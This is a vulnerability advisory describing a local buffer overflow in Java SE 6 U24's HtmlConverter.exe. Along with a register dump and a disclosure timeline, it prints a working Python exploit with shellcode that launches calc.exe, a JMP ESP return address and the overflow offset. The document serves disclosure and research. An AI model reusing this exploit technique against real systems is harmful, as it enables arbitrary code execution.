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Oracle HtmlConverter.exe Buffer Overflow



[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/ORACLE-HTMLCONVERTER-BUFFER-OVERFLOW.txt



Vendor:
===============
www.oracle.com



Product:
========================================
Java Platform SE 6 U24 HtmlConverter.exe
Product Version: 6.0.240.50


The HTML Converter is part of Java SE binary part of the JDK and Allows web page authors to explicitly target
the browsers and platforms used in their environment when modifying their pages.



Vulnerability Type:
============================
Buffer Overflow




CVE Reference:
==============
N/A




Vulnerability Details:
=====================

When calling htmlConverter.exe with specially crafted payload it will cause buffer overflow executing arbitrary attacker supplied code.
This was a small vulnerability included as part of the overall Oracle CPU released on January 19, 2016.

Reference:
http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html



registers ...

EAX FFFFFFFE
ECX FFFFFFFE
EDX 0008E3C8
EBX 7EFDE000
ESP 0018FEB4
EBP 0018FF88
ESI 00001DB1
EDI 00000000
EIP 52525252                          <-------- "RRRR" \x52
C 0  ES 002B 32bit 0(FFFFFFFF)
P 0  CS 0023 32bit 0(FFFFFFFF)
A 1  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0



Exploit code(s):
===============

###pgm="C:\\Oracle\\Middleware\\jdk160_24\\bin\\HtmlConverter.exe "        #EIP @ 2493
pgm="C:\\Program Files (x86)\\Java\jdk160_24\\bin\\HtmlConverter.exe "     #EIP 2469 - 2479

#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")


#JMP ESP kernel32.dll
rp=struct.pack('<L', 0x76E72E2B)   

                             
payload="A"*2469+rp+"\x90"*10+sc
subprocess.Popen([pgm, payload], shell=False)


Disclosure Timeline:
=====================================
Vendor Notification: August 28, 2015 
January 20, 2016  : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
===============
Medium



Description:
=============================================================

Vulnerable Product:     [+] Java SE 6 U24 HtmlConverter.exe
 
=============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx